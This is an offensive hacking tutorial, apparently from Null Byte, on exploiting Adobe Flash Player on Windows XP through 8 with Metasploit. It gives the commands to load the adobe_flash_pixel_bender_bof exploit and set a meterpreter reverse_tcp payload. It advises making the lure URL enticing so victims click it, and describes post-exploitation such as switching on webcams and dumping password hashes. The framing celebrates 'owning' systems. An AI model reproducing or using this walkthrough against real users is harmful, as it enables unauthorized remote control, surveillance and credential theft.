Hack Like a Pro: Hacking Windows XP Through Windows 8 Using Adobe Flash Player


Welcome back, my novice hackers!New hackers often ask me the same question: “What is the easiest platform to hack?” My response is always the same—it is not a platform, but rather a particular piece of software that is easiest to hack, which is on nearly every client-side system. That software is Adobe Flash Player.

A few years back, Apple quite notably, and inelegantly, forbade the use of Adobe Flash Player on its iOS platform for a number of reasons.

One is that Flash Player crashes very often and, when it does, it’s a power drain on the system. That is hardly noticeable if your system is plugged into an outlet, but it seriously degrades the user experience if it’s on a device that primarily uses a battery.

The second reason for Apple’s denial of Flash is its security, or lack thereof. Its security posture is atrocious! It probably has the worst security record of any widely used piece of software. Vulnerabilities are being found in this software almost daily.

If I found a network or a machine that I really needed to own, the first thing I would look at would be Adobe Flash Player.

Hacking Windows (XP, Vista, 7, 8) Using Flash Player

In this tutorial, we will look at one way to hack Flash Player with Metasploitthat works on nearly all Windows platforms, from XP up to Windows 8. This method will use a newer vulnerability than the one I showed earlier this year.

Flash Player is such a fertile ground for vulnerabilities and exploits that it is worth your time and trouble to consider developing your own zero day exploit for this poorly designed and troubled application.

Step 1: Check for Vulnerabilities

Let’s start by looking at the known vulnerabilities to the Adobe Flash Player by going to my favorite vulnerability database, Symantec’s SecurityFocus, at the following link.

When you open up this URL, go to Vendor and select “Adobe” from the drop-down box, followed by “Flash Player” in the Title section. Leave the Versionsection untouched so that it provides us with Adobe Flash Player’s vulnerabilities for all versions.

As you can see, Adobe Flash Player has 9 pages of vulnerabilities and 13 of the vulnerabilities have been revealed in just the last month. No matter how many times Adobe patches this application, the vulnerabilities never stop!

Step 2: Fire Up Kali and Start Metasploit

Now that we know that Adobe Flash Player is fertile ground for us to hack, let’s fire up Kali Linux and open Metasploit.

Now, let’s use the built-in search function in Metasploit to find Adobe exploits.

msf > search adobe

As you can see, Metasploit has one called:

  • exploit/windows/browser/adobe_flash_pixel_bender_bof

This is a relatively new exploit, just having been released on April 28th, 2014. Let’s use that one.

Step 3: Set the Options

To use this exploit, simply type:

msf > use exploit/windows/browser/abobe_flash_pixel_bender_bof

Now, let’s take a look at this exploit by using the “info” command.

msf > info

Note that this exploit will work on all operating systems from Windows XP to Windows 8 with Internet Explorer 6 through 11 with Flash 11, 12, and 13. That is a whole lot of vulnerable systems!

Before we start our exploit, let’s check to see what options we need to set.

msf > show options

As you can see in the screenshot above, this exploit has numerous options, but all of them are already set with default values.

The two you may want to change (but are not required) are the SVRPORT (8080) and the URIPATH. Note that if you do not change the URIPATH, it will be set using your IP address and a random string. If you are looking to entice someone to click on this link, you may want to make the URI more enticing.

Step 4: Set the Payload

Now, we need to set the payload that we want to deliver to the victim system. Ideally, we always want to deliver the meterpreter, if we can. Some exploits will allow us to deliver the meterpreter and others will not. In this case, we can deliver the meterpreter, so let’s go for it!

msf > set PAYLOAD windows/meterpreter/reverse_tcp

Now, set the local host IP (LHOST).


Step 5: Exploit

Running this exploit is clean and simple. Just type “exploit” and it creates and starts a web server and a path to the malicious code that will exploit Adobe’s Flash Player.

Step 6: Navigate to the Web Server from a Windows Machine

Now, let’s go over to our Windows 7 machine and enter the URL of our malicious web server that we built in Metasploit.

While we are doing that, we can see in Metasploit that things are stirring. A connection is being established netween the Windows 7 and our Kali system running Metasploit.

If we are patient, we will be rewarded with a meterpreter command on the Windows 7 system.

Congrats! You own that system.

Step 7: Meterpreter

With the meterpreter on the victim system, we now have the ability and option to run any of the meterpreter scripts that I’ve listed here on Null Byte for you. For instance, you can turn on the webcam with webcam.rb or grab the password hashes with hashdump.rb.


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s